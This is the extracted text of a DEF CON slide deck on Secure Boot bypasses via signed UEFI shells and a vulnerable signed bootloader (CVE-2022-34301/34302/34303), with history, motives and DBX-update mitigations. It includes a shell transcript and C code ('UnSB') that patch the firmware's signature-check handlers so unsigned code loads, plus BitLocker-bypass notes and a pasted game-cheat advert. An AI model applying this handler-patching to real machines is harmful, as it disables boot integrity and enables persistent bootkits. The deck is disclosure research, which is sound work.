Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

"One Bootloader To Load Them All"
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; in the Land of Redmond where the shadows lie.

One Bootloader to Load Them All

By

Mickey Shkatov & Jesse Michael
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Who are we

Jesse Michael

@JesseMichael

Mickey Shkatov

@HackingThings
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

One Bootloader To Load Them All

Agenda

• Background
• Vulnerabilities
• Demos
• Summary
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Background

• What is Secure Boot

"Secure Boot is an important security feature designed to prevent malicious software from loading when your PC starts up (boots)"

- Gandalf

Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

One Bootloader To Load Them All * One Bootloader To Load Them All * One Bootloader To Load Them All

D3fCON

Power on

Firmware

Bootloader

OS
Three keys for the OEM-kings under the sky, Seven for the IBV-lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

One Bootloader To Load Them All
Three keys for the OEM-kings under the sky, Seven for the IBV-lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

One Bootloader To Load Them All  *  One Bootloader To Load Them All  *  One Bootloader To Load Them All
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Background

- Security checks are built using Protocols also
- Register Security Handlers
  - Happens early in boot to configure what security related actions need to be taken later on
- Execute Security Handlers
  - For each security-relevant operation, a corresponding handler is fetched and executed
- Registered Protocol used for execution-time checks
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Example use of handlers

• TPM measurements
• Signature Checking

NOTE

• TPM measurements are done during PEI phase as well.
Three keys for the OEM kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Background

![Diagram of UEFI boot sequence]

- Pre Verifier
- Processor Init
- Chipset Init
- Board Init
- Device, Bus, or Service Driver
- EFI Driver Dispatcher
- Boot Manager
- OS-Absent App
- Transient OS Environment
- Transient OS Boot Loader
- OS-Present App
- Final OS Boot Loader
- Final OS Environment

Security (SEC) | Pre EFI Initialization (PEI) | Driver Execution Environment (DXE) | Boot Dev Select (BDS) | Transient System Load (TSL) | Run Time (RT) | After Life (AL)
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

One Bootloader To Load Them All

D3fCON
Three keys for the OEM kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Background

• History of Secure Boot Bypasses

• Golden Key
Three keys for the OEM-kings under the sky, Seven for the IBV-lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

One Bootloader To Load Them All  *  One Bootloader To Load Them All  *  One Bootloader To Load Them All

Background

• History of Secure Boot Bypasses
  • baton drop (CVE-2022-21894)
  • Secure Boot Security Feature Bypass Vulnerability

An Evil Maid’s Dream

Windows Boot Security was Broken Anyway

https://github.com/Wack0/CVE-2022-21894
Three keys for the OEM kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

One Bootloader To Load Them All

---

**Background**

- **History of Secure Boot Bypasses**
  - **Kaspersky GRUB Bypass**

```plaintext
BOOTX64.efi grubx64.efi grubx64_real.efi

(Kaspersky loader) (FileAuthentication override) (GRUB2)

ValdikSS
@ValdikSS

#de_l01.efi + custom chain.mod

(Kaspersky GRUB2)
```
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the land of Redmond where the shadows lie.

**Background**

- **History of Secure Boot Bypasses**
  - **BoothHole**
    - Round 1
    - Round 2

---

<table>
<thead>
<tr>
<th>Year</th>
<th># of Vulnerabilities</th>
<th>DoS</th>
<th>Code Execution</th>
<th>Overflow</th>
<th>Memory Corruption</th>
<th>SQL Injection</th>
<th>XSS</th>
<th>Directory Traversal</th>
<th>HTTP Response Splitting</th>
<th>Bypass something</th>
<th>Gain Information</th>
</tr>
</thead>
<tbody>
<tr>
<td>2015</td>
<td>1</td>
<td>1</td>
<td></td>
<td></td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>2020</td>
<td>8</td>
<td>3</td>
<td>6</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>4</td>
<td></td>
</tr>
<tr>
<td>2021</td>
<td>1</td>
<td>4</td>
<td>1</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>2022</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Total</td>
<td>18</td>
<td>1</td>
<td>7</td>
<td>7</td>
<td>2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>7</td>
<td>1</td>
</tr>
</tbody>
</table>

% Of All

<table>
<thead>
<tr>
<th></th>
<th>5.6</th>
<th>38.9</th>
<th>38.9</th>
<th>11.1</th>
<th>0.0</th>
<th>0.0</th>
<th>0.0</th>
<th>0.0</th>
<th>38.9</th>
<th>5.6</th>
</tr>
</thead>
</table>

D3fCon
Three keys for the OEM-kings under the sky,
Seven for the IBV lords in their halls of stone,
Nine for mortal vendors doomed to die,
One for the Dark Lord on his dark throne;
In the Land of Redmond where the shadows lie.

**Background**

- History of Secure Boot Bypasses
  - Vulnerabilities
    - SMM (recent Binarly & Sentinel One)
    - ESET Lenovo vulnerabilities
  - Debug features in Production
  - BSSA
Three keys for the OEM kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

**Background**

- Why bypass Secure Boot at all?
- Classic... Bootkits and Rootkits

---

**Stealth**

**Persistence**

---

MITRE | ATT&CK®

Home > Techniques > Enterprise > Pre-OS Boot
Background

• Why bypass Secure Boot at all?
  • Gaming
Three keys for the OEM kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

• Why bypass Secure Boot at all?
  • Gaming how example
    • Exec code pre-OS and DSE | Patch | Etc.
  • Communicate with backdoor from OS

https://github.com/Mattiwatti/EfiGuard
https://github.com/SamuelTulach
Background

- Why bypass Secure Boot at all?
  - w3cheats
  - APEX
  - CSGO
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

- Why bypass Secure Boot at all?
  - FACEIT-cheats
  - CS60

Background

Why bypass Secure Boot at all?

FACEIT-cheats

CS60

Premium cheat + Spoof

The set includes:
- Premium cheat FACEIT for 2 months (WebBlack)
- Spoof for FACEIT for 2 months
- Instructions and tips for playing on FACEIT
- Technical support for any questions

30€ for 2 months
Buy now

Premium cheat

- External cheat
- Only Walkthrough (Black, HP)
- No settings
- Byss to all leagues, including FACEIT, AC Client, Facehacks
- Maximum protection
- Launch in 1 click at least during the game
- No set limit:

25€ for 1 month
Buy now

URAN - the best cheat

- Internal cheat
- AIM, WH, Trigger, RCS, Skin changer, Bhop, Radar
- Flexible settings
- Byss to all leagues, including FACEIT, AC Client, Facehacks
- Maximum protection
- Launch in 1 click at least during the game
- No set limit:

40€ for 1 month
Buy now

Spoof

A program that changes your PC ID to bypass repeated bans on FACEIT (ban evasion)
- Tested
- Bypasses the ban on hardware on FACEIT
- Launch in 2 clicks
- No need to reinstall OS

15€ for 3 months
Buy now
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Background

• Why bypass Secure Boot at all?
  • Multiple
    • Rust
    • Apex
    • PUBG
    • DayZ
    • Tarkov
    • Valorant
    • Rainbow Six
    • Enlisted
    • Fortnite
    • Squad
    • Hunt Showdown
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Background

if you have a question about some windows kernel data structure, there’s a 50% chance the best person to talk to is a 16 yr old on a game hacking forum

10:06 PM · 09 Aug 22 · Twitter for iPhone
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Ok, but how does this kind of issue get fixed?

Simple, DBX update

Background

• Ok, but how does this kind of issue get fixed?
  • Simple, DBX update

The mess behind Microsoft’s yanked UEFI patch KB 4524244

Patch Tuesday’s truly odd Win10 patch KB 4524244 wreaked havoc before it was finally pulled last Friday night. Since then, accusations have flown about Kaspersky, in particular, and Microsoft’s complicity in signing a rootkit. There’s plenty of blame to go around — and much more to the story.

Microsoft pulls security update after reports of issues affecting some PCs

A standalone security update released as part of the February Patch Tuesday cycle has created headaches for some owners of PCs running Windows 10. After investigating reports of those issues, Microsoft has yanked KB4524244 from its update servers.

Kaspersky denies it’s responsible for Windows 10 update fails as blame game commences

By Matt Hanson published February 19, 2020

Update was supposed to fix Kaspersky Rescue Disk
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Background

• Ok, but how does this kind of issue get fixed?
• How to undo the fix to this issue

![Background](image_url)
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Vulnerabilities
Three keys for the OEM-kings under the sky,
Seven for the IBV lords in their halls of stone,
Nine for mortal vendors doomed to die,
One for the Dark Lord on his dark throne;
In the Land of Redmond where the shadows lie.

One Bootloader To Load Them All

• Signed UEFI Shells
  • 2 unique shells

Vulnerabilities

- Signed UEFI Shells
  - 2 unique shells

- CVE-2022-34301
  - Eurosoft
  - Bootx64.efi
  - esdiags.efi

- CVE-2022-34303
  - Eurosoft
  - shim.efi
  - Shell_Full.efi

CryptoPro Secure Disk for BitLocker

D3FC0N
Vulnerabilities

• Signed UEFI Shells
  • 2 unique shells

• Using built in tools to bypass secure boot
  • Memory read and write (mm, dmem)
  • Other utilities for listing handles, mem maps, etc. (dh)

• Exploitation automation using scripting
  • startup.nsh
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

---

**DEMO**

**CVE-2022-34301**

**CVE-2022-34303**
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

One Bootloader To Load Them All  *  One Bootloader To Load Them All  *  One Bootloader To Load Them All

UEFI Shell Secure Boot bypass example

UEFI Interactive Shell v2.2
EDX II
UEFI v2.70 (EDX II, 0x00010000)

Mapping table
FS0: Alias(s)
  PCI Root (0x6) / PCI (0x2, 0x0) / HD (1, MBR, 0xB81FDF0A, 0x3F, 0xF8FC1)
BLK1: Alias(s)
  PCI Root (0x6) / PCI (0x2, 0x0)
BLK0: Alias(s)
  PCI Root (0x6) / PCI (0x1F, 0x2) / Sata (0x2, 0xFFFF, 0x0)

Press ESC in 4 seconds to skip startup.msh or any other key to continue.

Shell> fs0:
FS0: HelloWorld.efi
Command Error Status: Access Denied
FS0: patch.msh
FS0: pmm 0x3F2c57a8 0xc3c03148 -w 8 -MEM
FS0: pmm 0x3F2c57e8 0xc3c03148 -w 8 -MEM
FS0: HelloWorld.efi
HelloWorld
FS0: ...
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

UEFI Shell Secure Boot bypass example

Password

D3fC0n
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

**UEFI Shell Secure Boot bypass example**

**FOOL! I HAVE SECURE BOOT ENABLED!**

**I AM NO FOOL!**

**I PATCHED IT! LOL**

---

**Secure boot**

Secure boot is on, preventing malicious software from loading when your device starts up.
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Vulnerabilities

- **Vulnerable Bootloader**

  Firmware
  - shdloader.efi
  - shdmgr.ef
  - OS

CVE-2022-34302

Horizon DataSys
Making IT Simple™

D3fCON
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Vulnerabilities

- Signed bootloader with a built-in Secure Boot bypass
- 73KB of signed bootloader that has a terrible design flaw
- MUCH better bypass than the old Kaspersky bypass
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

**Vulnerabilities**

- **Code Release:**

  - **UnSB** – “Un-SecureBoot” UEFI application to disable Security Handles and bypass Secure Boot turning it off.

```c
EFI_SECURITY_ARCH_PROTOCOL *mSecurity = NULL;
EFI_SECURITY2_ARCH_PROTOCOL *mSecurity2 = NULL;

if (mSecurity2 == NULL) {
    gBS->LocateProtocol (&gEfiSecurity2ArchProtocolGuid, NULL, (void **)mSecurity2);
}

if (mSecurity == NULL) {
    gBS->LocateProtocol (&gEfiSecurityArchProtocolGuid, NULL, (void **)mSecurity);
}
```

One Bootloader To Load Them All
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Vulnerabilities

Patch Security handlers

Load & Start Binary

```c
EFI_SECURITY_ARCH_PROTOCOL *mSecurity = NULL;
EFI_SECURITY_PROTOCOL *mSecurity2 = NULL;
if (mSecurity2 == NULL) {
    gBS->LocateProtocol (&gEfiSecurity2ArchProtocolGuid, NULL, (void **)&mSecurity2);
}
if (mSecurity == NULL) {
    gBS->LocateProtocol (&gEfiSecurityArchProtocolGuid, NULL, (void **)&mSecurity);
}
ASSERT (mSecurity2 == NULL || mSecurity != NULL);
// Patch the handlers and proceed to load the unsigned UEFI shell efi.
*((UINT32 *)mSecurity->FileAuthenticationState) = 0xc3c03148;
*((UINT32 *)mSecurity2->FileAuthentication) = 0xc3c03148;

CHARNL gShellPath = L"\ShellX64.efi";
EFI_DEVICE_PATH* ShellPath;
Status = LocateFile(gShellPath, &ShellPath);
if (EFI_ERROR(Status)) {
    return Status;
}
Status = gBS->LoadImage(TRUE, ImageHandle, ShellPath, NULL, 0, &ShellPath);
if (EFI_ERROR(Status)) {
    return Status;
}
Status = gBS->StartImage(ShellPath, (UINTN*)NULL, (CHARNL *)NULL);
if (EFI_ERROR(Status)) {
    return Status;
}
return Status;
```
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

**Vulnerabilities**

- **Exploitation**
  - No shellcode required
  - Write you own code and run it (shrug)
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie. 

**Vulnerabilities**

- **Exploitation**
- **Mount ESP and copy files**
- **Need to be admin**
- **So many ways to get admin**
- **LOL Installers**
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.
Vulnerabilities

• BitLocker Bypass using UnSB
  i. Who is even using TPM?
  ii. How are the TPM measurements done?
  iii. How UnSB affects the measurement process

• Thankfully this doesn’t work on latest Windows
  • but it still works on older versions
Vulnerabilities

• Persistent SB Bypass and TPM avoidance

Firmware

shdloader.efi

Patch Handler pointers

Arb Code

OS

CVE-2022-34302
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

DEMO With Bitlocker
Summary

• How can you get the fix and apply it

• Update your machines asap
  • Perform a DBX update
    • Windows Update service
    • PowerShell
    • Linux

• On a device that does not have Credential Guard enabled, run following command from an Administrator command prompt to suspend BitLocker for 1 restart cycle:
  ```
  suspend BitLocker for 1 restart cycle
  ```

• On a device that has Credential Guard enabled, run following command from an Administrator command prompt to suspend BitLocker for 2 restart cycles:
  ```
  suspend BitLocker for 2 restart cycles
  ```

• Update your machines asap
  • Perform a DBX update
    • Windows Update service
    • PowerShell
    • Linux
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

**Summary**

- **How to avoid Fix bypasses**
  - **OEM Solutions**
    - HP SureStart
    - Use hardware from closed gardens
      - Microsoft Surface
      - Windows on Apple?
  - **Password protect BIOS**
Three keys for the OEM kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Summary

• Microsoft Response

• Vendor Response

D3fCON
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Summary

IT'S OVER, IT'S DONE

Windows Update

This month’s Windows Update KB5012170 installs problem fixed; on Dell OptiPlex 7920, go into BIOS, disable Secure Boot then KB5012170 installs without problems. Reboot, go into BIOS, enable Secure Boot again. This problem occurs with other machines that have Secure Boot enabled (I suspect — see the AlienLive forum link below). Is Secure Boot worth having, or should it be given the boot? What do people think?

https://forum.alienslab.com/forums/post/78624

7:02 PM - Aug 4, 2022 - Twitter Web App

BUT NOT DONE, DONE

D3fCON
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

Summary

• Research opportunities
  • With CVE-2022-34302 you can now develop and deploy your own tools and research Pre-OS Attacks 😊
  • https://github.com/HackingThings/OneBootloaderToLoadThemAll
Three keys for the OEM-kings under the sky, Seven for the IBV lords in their halls of stone, Nine for mortal vendors doomed to die, One for the Dark Lord on his dark throne; In the Land of Redmond where the shadows lie.

One Bootloader To Load Them All

The end